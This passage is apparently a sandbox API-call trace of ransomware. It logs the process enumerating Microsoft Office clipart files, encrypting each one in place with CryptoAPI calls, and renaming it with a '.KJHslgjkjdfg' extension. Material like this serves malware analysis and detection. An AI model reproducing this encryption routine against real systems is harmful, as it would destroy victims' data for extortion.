lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.620] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.620] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.621] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.621] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.621] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.621] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.621] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1800, lpOverlapped=0x0) returned 1 [0192.622] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1800, dwBufLen=0x1800 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1800) returned 1 [0192.622] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.622] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1800, lpOverlapped=0x0) returned 1 [0192.622] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.622] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x18d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.622] SetEndOfFile (hFile=0x114) returned 1 [0192.625] GetProcessHeap () returned 0x2a0000 [0192.625] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.625] GetProcessHeap () returned 0x2a0000 [0192.625] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf.kjhslgjkjdfg")) returned 1 [0192.627] CloseHandle (hObject=0x114) returned 1 [0192.627] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70639c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x342e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="URBAN_01.MID", cAlternateFileName="")) returned 1 [0192.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.629] GetProcessHeap () returned 0x2a0000 [0192.629] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.629] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.629] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0192.632] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.632] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.632] GetProcessHeap () returned 0x2a0000 [0192.632] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.632] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.632] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.632] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.632] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.632] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.632] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.632] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.632] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.633] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.633] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.633] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.633] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x342e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x342e, lpOverlapped=0x0) returned 1 [0192.634] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3430, dwBufLen=0x3430 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3430) returned 1 [0192.634] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.634] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3430, lpOverlapped=0x0) returned 1 [0192.634] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.634] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.634] SetEndOfFile (hFile=0x114) returned 1 [0192.637] GetProcessHeap () returned 0x2a0000 [0192.637] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.637] GetProcessHeap () returned 0x2a0000 [0192.637] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.kjhslgjkjdfg")) returned 1 [0192.639] CloseHandle (hObject=0x114) returned 1 [0192.639] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1361, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VCTRN_01.MID", cAlternateFileName="")) returned 1 [0192.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.645] GetProcessHeap () returned 0x2a0000 [0192.645] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.645] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.645] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.645] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0192.648] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.648] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.648] GetProcessHeap () returned 0x2a0000 [0192.648] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.648] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.648] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.648] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.649] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.649] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.649] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.649] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.649] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.649] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.649] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1361, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1361, lpOverlapped=0x0) returned 1 [0192.650] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370, dwBufLen=0x1370 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370) returned 1 [0192.650] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.650] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1370, lpOverlapped=0x0) returned 1 [0192.651] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.651] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.651] SetEndOfFile (hFile=0x114) returned 1 [0192.653] GetProcessHeap () returned 0x2a0000 [0192.653] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.653] GetProcessHeap () returned 0x2a0000 [0192.653] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.kjhslgjkjdfg")) returned 1 [0192.656] CloseHandle (hObject=0x114) returned 1 [0192.656] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce1f900, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce1f900, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01219_.GIF", cAlternateFileName="")) returned 1 [0192.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.658] GetProcessHeap () returned 0x2a0000 [0192.658] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.658] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.659] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0192.661] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.661] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.661] GetProcessHeap () returned 0x2a0000 [0192.661] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.661] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.661] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.661] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.661] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.661] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.661] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.662] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.662] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.662] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.662] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.662] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.662] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2e4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2e4, lpOverlapped=0x0) returned 1 [0192.662] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2f0) returned 1 [0192.662] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.662] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2f0, lpOverlapped=0x0) returned 1 [0192.662] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.662] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.662] SetEndOfFile (hFile=0x114) returned 1 [0192.665] GetProcessHeap () returned 0x2a0000 [0192.665] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.665] GetProcessHeap () returned 0x2a0000 [0192.665] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif.kjhslgjkjdfg")) returned 1 [0192.667] CloseHandle (hObject=0x114) returned 1 [0192.667] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f000, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f000, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01237_.GIF", cAlternateFileName="")) returned 1 [0192.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.668] GetProcessHeap () returned 0x2a0000 [0192.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.668] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.668] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.669] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0192.670] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.670] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.670] GetProcessHeap () returned 0x2a0000 [0192.670] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.670] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.670] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.670] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.671] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.671] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.671] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.671] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.671] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.672] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.672] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.672] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16b, lpOverlapped=0x0) returned 1 [0192.672] CryptEncrypt 